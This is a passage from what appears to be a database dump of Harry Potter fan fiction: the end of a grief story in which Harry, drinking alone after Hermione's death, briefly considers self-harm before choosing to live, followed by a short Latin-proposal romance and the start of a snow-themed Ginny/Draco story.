Mr Weasley, the crowd fell into a mild\nhush. &#8220;These past few days, though victorious, did not come without loss. The\nwar took its final innocent victim, the best student to attend Hogwarts School\nof Witchcraft and Wizardy since the late Lord\nVoldemort&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Here he was interrupted mid-sentence by a new\nwave of boisterous cheers that came in response to Dumbledore&#8217;s last few words,\nalthough the audience collectively winced at the mention of the Dark Lord&#8217;s\nname, still feared, even in death. Harry was overcome by a hot anger at the\ncrowd&#8217;s disrespect for Dumbledore and his tribute to Hermione&#8217;s memory. This\nfiery indignation was the first feeling he&#8217;d had since Hermione&#8217;s death that\nwas anything but misery. He glared into the throng of people, although he knew\nthey couldn&#8217;t see him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore patiently waited for the yells to\nsubside before continuing. &#8220;Hogwarts&#8217;s greatest mind\nin many years, Miss Hermione Granger, died on this last mission to destroy Lord\nVoldemort. She lived a heroic life; she did much for this country, and indeed,\nthe entire wizarding world,&#8221; said Dumbledore\nsolemnly. &#8220;I ask that even as you rejoice in this extraordinary event, you do\nnot forget Hermione or any of the others who gave their lives to help eradicate\nthe Dark&#8212; celebrate not only the victory of the Light, but the memory of\nHermione Granger, a truly great witch and Auror, and an outstanding person in\nevery possible way. We&#8217;ll truly never see the likes of her again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore paused to let his speech sink in.\n&#8220;Now I will take any questions the audience might have, for either the Minister\nor myself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It seemed that everybody had a question,\nbecause the sea of heads became a sea of raised, waving hands. The air above\nthe crowd became very bright and colourful as different people tried to get\nDumbledore&#8217;s attention by conjuring impressive displays of stars and sparks.\nHarry even spotted a few people crowd-surfing, attempting to get near enough to\nask a question. Dumbledore pointed at a man who had made his orange top hat,\nwhich sported a large star with the flashing words &#8216;<u>The Daily Prophet</u>&#8217;,\ngrow several metres to tower over everything else in the crowd. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;My question is for the Minister,&#8221; said the wizard.\nMr Weasley stepped forward to hear the question. &#8220;Are\nthere going to be any changes within the Ministry, with the passing of\nYou-Know-Who?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Mr Weasley replied,\n&#8220;Well, our Aurors will be able to take a\nwell-deserved break&#8212; as you&#8217;ve probably already heard, every Death Eater has\nmet his or her end, so at the present time there is little for them to do here.\nThis will give them time to take a holiday, and perhaps consider a more\npleasant career if they&#8217;d like.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The wizard who asked\nthe question, scribbling furiously on his pad of parchment, nodded his thanks\nto Mr Weasley; his hat fell forward and nearly\nflattened the people standing in front of him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;My question is for the Headmaster,&#8221; shouted a\nmiddle-aged witch, who was bouncing up and down on the balls of her feet with\nexcitement. &#8220;Will there be any changes at Hogwarts?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I will ensure that Defence Against\nthe Dark Arts will remain a required part of the Hogwarts curriculum,&#8221; said\nDumbledore slowly. Something about the tone of his voice gave Harry the notion\nthat he knew he would not be returning to Hogwarts the forthcoming school year.\n&#8220;Contrary to what we would all like to believe, there <i style="mso-bidi-font-style:\nnormal">are</i> still Dark wizards about, and there always will be. This class\nwill also include a programme to prevent vulnerable young witches and wizards\nfrom ever turning to the Dark side. We hope that this will help keep future\norder here in Britain, even if we\ncannot do anything about the rise of Dark sorcerers in other nations.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">The witch had stopped bouncing; evidently, Dumbledore&#8217;s\nanswer was not the one she had expected or wanted to hear. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore&#8217;s voice lifted with a touch of\nhumour, &#8220;However, I do believe that updated History of Magic books will be\nnecessary.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">An appreciative chuckle ran through the multitude\nbefore the next question was asked: &#8220;Also for Mr Dumbledore&#8212; how exactly was\nHe-Who-Must-Not-Be-Named defeated?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ah,&#8221; said Dumbledore with a rather grave\nsmile. &#8220;As I honestly don&#8217;t know that fact for myself, I&#8217;m afraid I cannot\nanswer that question. There is, however, somebody here who can. I redirect your\nquestion to Mr Harry Potter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore turned and beckoned to Harry, who\nreluctantly stepped out of the backstage shadows. He had grown to hate public\nspeaking with a flaming passion. Years of being the centre of attention had\njaded the initial pleasure of being Public Hero Number One. So it was against\nhis will but out of respect for his superiors that he now approached the front\nof the stage where Dumbledore and Mr Weasley stood.\nBut nevertheless, he tried his best not to look too unpleasant as he waited for\nthe torrents of fanatical applause, which had started up at the very mention of\nhis name, to ebb away. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry took a very deep breath before beginning\nhis story, which he resolved to shorten and simplify as much as possible. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It was a case we&#8217;d been working on for about\na month. It started with a&#8212; a tip from a captured Death Eater. Turns out Voldemort&#8217;s life was not held in his body, but in a stone,\nwhich we called the Orb. The Dark magic Voldemort used ensured that he would\ndie only when the Orb was destroyed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, we did some research. Actually, Her&#8212;&#8221; he stopped himself; saying the name aloud was too\npainful. &#8220;My partner did most of the work. In fact, she could have done the\nentire thing herself, if it weren&#8217;t for the fact that only a Parselmouth, such as Voldemort or myself, could get to the\nOrb. Anyway, we discovered the Orb was hidden in a rather frozen part of\nnorthern Europe.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So there we went, living in the forest and\nfighting off Death Eaters until we fouind the\nentrance to the Orb&#8217;s secret chamber. Inside, we fought a rare, sinister Dark\ncreature and an assortment of other magical difficulties, and found the Orb.\nShe destroyed it. <i style="mso-bidi-font-style:normal">I did not kill\nVoldemort</i>,&#8221; Harry said forcefully and deliberately, although he got the\nimpression that the listeners wasn&#8217;t taking in a word he said now; they were\nall chatting energetically or jotting down notes. He continued hastily on, &#8220;<i style="mso-bidi-font-style:normal">She</i> did. She killed Voldemort, and then\nwe managed to escape with minimal injuries.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">There. Harry had surprised himself by\nrecounting the entire story relatively fluently, and, more miraculously,\nwithout emotion. He inwardly congratulated himself before taking the next\nquestion. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Then how did your partner die?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared, momentarily taken aback by the\ntactless method in which this question had been posed. But, feeling obligated\nto reply, he opened his mouth to do so&#8212; he hesitated on his answer, not sure\nwhether he could explain without making Hermione sound like a criminal. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He looked at Dumbledore for help. The\nHeadmaster nodded encouragingly, so Harry turned back to face the audience. The\ntruth&#8230; Dumbledore had always believed that the truth was more favourable than\nlies. And everybody had a right to know the truth. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m sure,&#8221; said Harry, his voice slightly\nmore strained than it had been earlier, &#8220;you all remember Christmas of 1998.\nPerhaps some of you have wondered how we knew Voldemort was coming to Hogwarts.\nWell, she bravely volunteered to become a Death Eater for the purpose of spying\non Voldemort. She was able to find out Voldemort&#8217;s\nplans and warn us of them in time to save Hogwarts. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;However,&#8221; said Harry, trying not to choke on\nhis words, &#8220;the Dark magic residing in the Dark Mark\non her arm linked her to Voldemort. When she killed Voldemort, the magic was\nactivated. She died&#8212; like a common Death Eater&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">There was a convenient minute of stunned\nsilence, allowing Harry to regain his composure before fielding the next\nquestion.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, does it feel good to have finally\navenged your parents&#8217; deaths?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes,&#8221; he said curtly, &#8220;but they&#8217;re not the\nonly deaths&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Mr Potter, how does it feel to be the one to\nfinally defeat the Dark Lord?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I wouldn&#8217;t know,&#8221; said Harry irritably,\n&#8220;seeing as I&#8217;m <i style="mso-bidi-font-style:normal">not</i> the one to&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Did your past encounters with\nHe-Who-Must-Not-Be-Named have an effect on how you killed him?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">I\ndidn&#8217;t kill Voldemort</i>,&#8221; Harry growled, the anger rising in him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Mr Potter, when you destroyed You-Know-Who&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I DIDN&#8217;T!&#8221; Harry bellowed, letting his temper\nget the best of him. &#8220;&#8221;How many times do I have to say it? You&#8217;re all so\nwrapped up in my meaningless past, what with me being the bloody &#8216;Boy Who\nLived&#8217;, that you can&#8217;t accept the reality. All my life I&#8217;ve been hailed like\nsome kind of saviour, which I&#8217;m <i style="mso-bidi-font-style:normal">not</i>!\nThe person who really saved you is that other girl, that <i style="mso-bidi-font-style:\nnormal">nonentity</i> always standing next to the famous Harry Potter in\nphotographs. My parents and I bought you thirteen years worth of peace&#8230; <i style="mso-bidi-font-style:normal">she&#8217;s</i> bought you peace for the rest of\nyour lives&#8212; forever! We were an Auror <i style="mso-bidi-font-style:normal">pair</i>,\nand last time I checked, a pair meant two people. I refuse to accept any of\nyour praise.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry turned to stalk off the stage, but he\nwas stopped by a small, desperate voice that came from behind him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Er&#8212; Mr Potter&#8212;\nHarry?&#8221; The speaker was a young girl, who couldn&#8217;t have been more than twelve. &#8220;If you don&#8217;t mind, just&#8212; just one more question? It&#8217;s not\nfor the news or anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It must have been the girl&#8217;s innocent youth\nthat kept Harry from ignoring her, as he would have ignored any Daily Prophet\nreporter who followed him. Or maybe&#8230; maybe it was the girl&#8217;s wavy brown hair\nand cinnamon eyes&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;One more question,&#8221; Harry agreed heavily.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The girl looked relieved&#8212; perhaps she had been\nexpecting Harry to pull out his wand and hex her. Harry attempted to make his\nexpression less severe as the girl asked a very unusual question: &#8220;Who was\nHermione Granger?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry froze at the mention of her name.\nStomach twisting unpleasantly, he heard his amplified voice struggling to\nspeak. &#8220;Er&#8212; Hermione&#8230; well, the greatest Hogwarts\nstudent and Auror ever&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And then he remembered when Remus had asked\nhim the same question, albeit in the present tense. Harry had answered him.\nHe&#8217;d answered wrongly. Now he sighed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The truth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He took off his sunglasses, revealing his watering,\nbloodshot eyes for all the world to see.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;&#8230;and the love of my life,&#8221; he finished.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His voice was only a strangled whisper, but\neveryone heard it. A witch in the front row burst into tears. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">The little girl said, &#8220;Thank you&#8230; I know she&#8217;d\nbe happy to hear that&#8221;, and gave him a grateful smile before melting into the\npeople around her and disappearing in the throng.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry couldn&#8217;t stay any longer. With a quick &#8220;<i style="mso-bidi-font-style:normal">Quietus</i>&#8221; he hopped down from the stage\nand started to make his way through the crowd. But people started swarming\naround him as though he were a magnet for reporters (which, he reminded\nhimself, he practically was), and he couldn&#8217;t see a thing through the crowd of\nthick purple smoke that had come from the various cameras clicking away at him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Let&#8217;s have a word, Mr Potter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How about an interview for\n<i style="mso-bidi-font-style:normal">Transfiguration</i> <i style="mso-bidi-font-style:\nnormal">Today</i>?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t trust himself to answer civilly,\nso he said nothing at all. After a few minutes of struggling against the stream\nof people all clamouring to get a glimpse of him, he decided he was fighting a\nlosing battle. He pulled out his wand (the surrounding spectators recoiled in\nfear of attack) and Apparated to the door of the Leaky Cauldron, on the other\nside of the mob of wizards, even though it was only about a hundred metres\naway.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He threw open the door, sprinted across the\ndeserted pub, and skidded to a halt in front of the bar. &#8220;Quick, Tom,&#8221; Harry\nsaid hastily, emptying half his money bag onto the counter. &#8220;A private room, and a bottle of the strongest stuff you have.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Tom wasted no time. &#8220;Certainly, Mr Potter,&#8221; he\nsaid to Harry. Then he turned to a young clerk and said, &#8220;Brian, get Mr Potter <i style="mso-bidi-font-style:normal">the mix</i>, and bring it up to Room\nEleven.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Brian disappeared behind the bar, and Tom\nushered Harry upstairs to number eleven just as a horde of reporters burst into\nthe tavern, looking wildly around for Harry. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry collapsed onto the comfortable\nfour-poster bed, massaging his temples. He&#8217;d had a hellish morning&#8212; it was only\none in the afternoon, and he already couldn&#8217;t wait until the day was over. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Suddenly, the door opened, and Harry&#8217;s ears\nwere met by a tidal wave of sound. He sat up abruptly just as Brian the junior\nbartender dove into the room, slamming the door behind him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Gods!&#8221; said Brian, &#8220;there&#8217;s got to be a\nhundred reporters out there in the corridor for you. Here&#8212;&#8221; he handed Harry a\nlarge, unlabeled green glass bottle. &#8220;Russian vodka and Ogden&#8217;s Old Firewhisky mix. Be careful with it,&#8221; said Brian with a wink\nbefore turning to leave. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wait,&#8221; called Harry. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Brian turned back round and said, &#8220;Oh&#8212; right.\nYou&#8217;ll be wanting a shot glass for that, eh?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, I don&#8217;t need one. Just&#8212; get all those\nreporters out of here, all right? Here&#8217;s your tip,&#8221; added Harry, tossing him\nthe half-full money bag.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Brian caught the pouch and stared at it,\nbewildered, before saying, &#8220;Thanks very much, Mr Potter. Oh, er&#8212; can I, um&#8230; have your autograph?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Brian hesitated. &#8220;&#8230;Please?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I just gave you a ten and a half Galleon tip.\nBugger off.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sorry.&#8221; Without further delay Brian left and\nstarted clearing out the mob gathered in the hallway. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry implemented the bottle opener attachment\non the penknife Sirius had given him for Christmas in his fourth year at\nHogwarts and swallowed a mouthful of liquor. Brian and Tom weren&#8217;t kidding&#8212; it\nwas <i style="mso-bidi-font-style:normal">strong</i>. Magically strong, he was\nwilling to bet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry walked over to the window and looked\ndown on Diagon Alley, looking more cheerful than ever\nin the still, warm air and bright sunshine. What seemed to be the entire\npopulation of wizarding Britain was roaming\nhappily, eating, drinking, talking, laughing, singing, smiling&#8230; Yes, it was all very well for them. <i style="mso-bidi-font-style:\nnormal">They</i> only had a few decades of fear. <i style="mso-bidi-font-style:\nnormal">They</i> didn&#8217;t have their whole lives dedicated to getting rid of\nVoldemort. <i style="mso-bidi-font-style:normal">They</i> let someone else&#8212;\nHarry, Remus, Dumbledore, and Hermione to be specific&#8212; do the dirty work for\nthem. And was it ever dirty. Now it was just one big party, happiness at their\nexpense.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. Harry sat back down on the edge of the\nbed. Funny, but he didn&#8217;t feel anything new&#8212; not happy, not relieved, not calm,\nnot proud&#8212; now that Voldemort was gone forever. Not that it really meant\nanything. With his luck, a new Dark wizard twice as bad as Voldemort would be\nannouncing his arrival any day now. Or maybe the Orb of Slytherin was a fake&#8212; a\nbluff. <i style="mso-bidi-font-style:normal">Who knows</i>? he\nthought. <i style="mso-bidi-font-style:normal">Who cares</i>? </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. His whole life had been one great big\nhellish fight. And, in the cruellest of ironies, he was never the one that came\nout on the bottom. That would be his parents. And Cedric Diggory. And Ron. And Sirius. And Hermione. He was\nthe hero. They were dead. What had Voldemort said to him six years ago&#8230;? <i style="mso-bidi-font-style:normal">You&#8217;ve shed quite a few lives to get here,\nhaven&#8217;t you, Potter</i>?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for Hogwarts</i>. Harry found himself wishing more than anything that he\nwas back in school. Not that life had been easy back then, but his memories of\nthose seven years were a lot more pleasant than anything from his life since\nthen. Sure enough, it wasn&#8217;t long after he left Hogwarts that his life started\nits tailspin into the hellhole he liked to call &#8216;now&#8217;. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for Remus</i>. The best teacher Harry ever had, both inside school and\nout. He was James Potter&#8217;s best friend, but he might as well have been Harry&#8217;s\nown father for all the influence he had on him. The poor man&#8217;s been trying his\nhardest his whole life, and doesn&#8217;t have half the recognition that Harry had\nhad when he was one year old. Just an outcast. <i style="mso-bidi-font-style:normal">Thanks</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for Dumbledore</i>. In a way, Harry was glad Voldemort was gone, if only for the reason that Albus\nDumbledore could finally retire. After spending years training Harry to do what\nhe couldn&#8217;t in his old age&#8212; defeat Voldemort&#8212; finally he can take a break from\nwhat he&#8217;s been doing for a century and a half&#8212; fighting the Dark Arts. He did a\nhell of a job, too. He truly was the greatest wizard ever. Harry wished that he\nhad been more like Dumbledore. Maybe if he had followed the Headmaster&#8217;s\nexample of trust, he wouldn&#8217;t have screwed up the last six years of his life so\nbadly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for my parents</i>. Ah, the legend as old as Harry&#8230; and it wasn&#8217;t much\nmore than a legend these days. The story of the elder Potters was now of little\nto no significance. In fact, the Potters were barely remembered at all, except\nthat they were the parents of the great Harry. But Harry remembered them, even\nif he was the only one. Well, Remus probably remembered them too. But Harry\ncouldn&#8217;t say for sure whether his mother would have bothered saving him if\nshe&#8217;d known he&#8217;d end up like this. Getting plastered all alone while everyone\nelse in the country&#8212; no, on the continent&#8212; celebrated. Some hero he was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for Sirius</i>. The five short years Harry knew his godfather weren&#8217;t\nnearly enough. The same godfather who worked like a dog his whole life&#8212; no pun\nintended&#8212; to keep Harry safe and happy&#8212; he was dead, too. Sirius Black was a\nhell of a wizard. But all three Potters weren&#8217;t enough for that arsehole Wormtail&#8212; no, he had to ruin <i style="mso-bidi-font-style:\nnormal">another</i> life. A life that would have been so awesome and perfect, a\nlife of happiness and freedom and friendship with Remus and knowing his godson.\nBut of course, a normal life has always been too much to ask for. Sirius sure\ngot screwed over, multiple times. <i style="mso-bidi-font-style:\nnormal">Bloody Voldemort and his bloody Death Eaters.</i><i style="mso-bidi-font-style:normal"> </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for Ron</i>. Ron was different. Ron never asked to get mixed up in all this, he never asked to lay down his life for the Light.\nHarry knew perfectly well, and he&#8217;d constantly chastised himself for it, that\nRon had only fought against Voldemort to help Harry in the battle. That&#8217;s\nbecause Ron was his best friend, a damn near perfect friend, too. Keyword being\n<i style="mso-bidi-font-style:normal">was</i>, because Ron <i style="mso-bidi-font-style:\nnormal">isn&#8217;t</i> anything but dead now. <i style="mso-bidi-font-style:normal">God\ndamn.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Swig. <i style="mso-bidi-font-style:normal">This\none&#8217;s for Hermione</i>&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Oh, God.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Smash. Harry swung the bottle against the\nbedpost, shattering the end of it. What little alcohol was left in the bottle\nsplashed out and soaked the front of his robes. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Fighting Voldemort. That&#8217;s all he\nwas ever good for. Ever since he was a year old he&#8217;d been the bloody poster boy\nfor the Light. His biography was a history of Lord Voldemort&#8217;s\ndrawn-out downfall. Both were done.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And Hermione&#8230; what had she said to him when\nher eyes were white? <i style="mso-bidi-font-style:normal">I can wait for you</i>.\nNothing like stating the bleeding obvious. Hadn&#8217;t she\nbeen waiting for him for years? Of course she had. Harry had just been too thick-headed\nto realise they loved each other. And now her death was the final and lethal\nwound. Well, she could wait for him. But she shouldn&#8217;t have to. And now she\nwouldn&#8217;t have to.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">With some difficulty Harry steadied the broken\nbottle in his hand. He pressed the jagged glass to his wrist.</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">If I ever leave this world alive<br>\nI&#8217;ll thank you for the things you did in my life<br>\nIf I ever leave this world alive<br>\nI&#8217;ll come back down and sit beside your feet tonight<br>\nWherever I am you&#8217;ll always be<br>\nMore than just a memory<br>\nIf I ever leave this world alive</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">If I ever leave this world alive<br>\nI&#8217;ll take on all the sadness that I left behind<br>\nIf I ever leave this world alive<br>\nThe madness that you feel will soon subside<br>\nSo in a word don&#8217;t shed a tear<br>\nI&#8217;ll be here when it all gets weird<br>\nIf I ever leave this world alive</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">So when in doubt just call my name<br>\nJust before you go insane</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">If I ever leave this world<br>\nHey, I may never leave this world<br>\nBut if I ever leave this world alive</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">She says I&#8217;m okay; I&#8217;m all right<br>\nThough you have gone from my life<br>\nYou said that it would<br>\nNow everything should <br>\nBe all right</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">And Hermione&#8230; what had she said to him when\nher eyes were white? <i style="mso-bidi-font-style:normal">Just live</i>. Her last request. Well, she was always right. And it&#8217;s what\nshe wanted. She wanted him to live.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He realised with a rather tipsy jolt that he\nhad never before given her what she wanted. Well, that was something he could\nchange. She wanted him to live.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">So be it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry let the broken bottle slip from his\nhand. It fell harmlessly onto the bed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Yeah, everything\nshould be all right</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry began to stagger drunkenly across the\nroom to where his wand lay upon the polished oak wardrobe, but, seeing all the\nsharp furniture corners around him, decided it would be a lot safer to crawl to\nhis destination.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Yeah, everything\nshould be all right</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry made a mental note to himself to thank\nHermione for teaching him the Sobering Charm, before realising that he probably\ncouldn&#8217;t remember that mental note for as long as he&#8217;d need to before seeing\nher again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Yeah, everything\nshould be all right</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She could wait for him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He could wait, too.</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b style="mso-bidi-font-weight:normal">-FIN-</b></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n\n\n\n\n\n'),
	(65, 1, 'Latin Proposal\n<div class="center"><b><span class="u">Latin Proposal</span></b></div>\n<p>\nHarry quietly closed his copy of <i>Gaudy Night</i> and laid it down on the coffee table. He breathed a sigh of contentment. <i>How he liked happy endings!</i> They were things he hadn\'t had much of as a child. Though finding Hermione hadn\'t been a bad happy ending... not that that wasn\'t over yet.\n</p><p>\nShe entered the room, carrying two mugs of steaming cocoa. She smiled when she saw the finished book. "You\'ve read it at last?" She handed him the mug. "Finally! I\'ve been waiting to discuss it with you for weeks." She sat on the sagging sofa and sipped her chocolate. A lump rose in Harry\'s throat. He was so <i>lucky</i>.\n</p><p>\n"So, what did you think?" continued Hermione eagerly. "I have to say, I don\'t particularly like the mystery plot- it\'s not half as good as <i>Have his Carcass</i>. But the romance is perfect, don\'t you agree? I do-"\n</p><p>\n"Placetne, magistra?" said Harry very quietly.\n</p><p>\n"I beg your pardon?" replied Hermione.\n</p><p>\n"Placetne, magistra?" repeated Harry, louder.\n</p><p>\nHermione looked confused, "I never knew you spoke Latin, Harry! Well one learns new things every day."\n</p><p>\n"It\'s from the book. Placetne, magistra?"\n</p><p>\nHermione\'s face cleared, "Oh! Yes, that is a rather clever touch, isn\'t it. Their being in Oxford and all making it so much better for him to propose in Latin-"\n</p><p>\nHarry interrupted a third time as he took her hand. "No, Hermione. <i>Placetne, magistra</i>?"\n</p><p>\nHe was looking at her so intently that she could not have doubted his meaning if she tried. "Oh," she said softly and looked down at his hand. There was a long pause then she raised her eyes back to Harry\'s. "Placet," she replied and smiled.\n</p><p><div class="center"><b><span class="u">The End</span></b></div></p><p>\n<i>A/N:  Well, here it is by popular demand!  <span class="u">Placetne, magistra</span> means \'Does it please you, Professor?\' and the reply <span class="u">Placet</span> means \'It pleases me\'.\n</i></p><p>\nHope you enjoyed it!\n</p><p>\nDisclaimer:  JK Rowling owns Harry and Hermione.  Dorothy Sayers wrote Gaudy Night<i> and </i>Have his Carcass<i>.\n</i></p><p>\n~Silvestria~</p><p>'),
	(66, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">A/N: Ah&#8230;fluff, this\nis.&nbsp; Pointless really, just some holiday\nfluff.&nbsp; I have a thing with snow,\nis all.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">Disclaimer: I disclaim!&nbsp; I do not own Ginny, or Draco *sob * or\nHogwarts&#8230;I don&#8217;t even own snow.&nbsp; Please don&#8217;t sue me. </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\nLet It Snow&#8230;\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">The white, shimmering\nsnow softly fell onto the barren ground, lightly grazing it, white dust\nappearing.&nbsp; How wonderful days like\nthese were.&nbsp; How perfect they\nseemed.&nbsp; Days when light, sweet\nsnow fell outside just so, covering the roof tops and ground, making it seem\ncloser to Christmas, everything becoming so pretty, shining this way and that\nas the light hit it.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">On days like\nthese, even the cold did no effect to them.&nbsp; Even the cold was tolerable.&nbsp; Sighing contently as she curled up by the warm, crackling\nfireplace, she found she could not read.&nbsp;\nWhat did she expect anyhow?&nbsp;\nShe never grew out of her love for snow.&nbsp; Never.&nbsp; She\ncould remember loving Christmas time ever since she was a small child back at\nhome, surrounded by her protective brothers, and her loving parents.&nbsp; A small smile managed to creep up her\nface as she remembered the good times.&nbsp;\n</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nShe sighed, her knuckles tapping on the hard wood impatiently, her 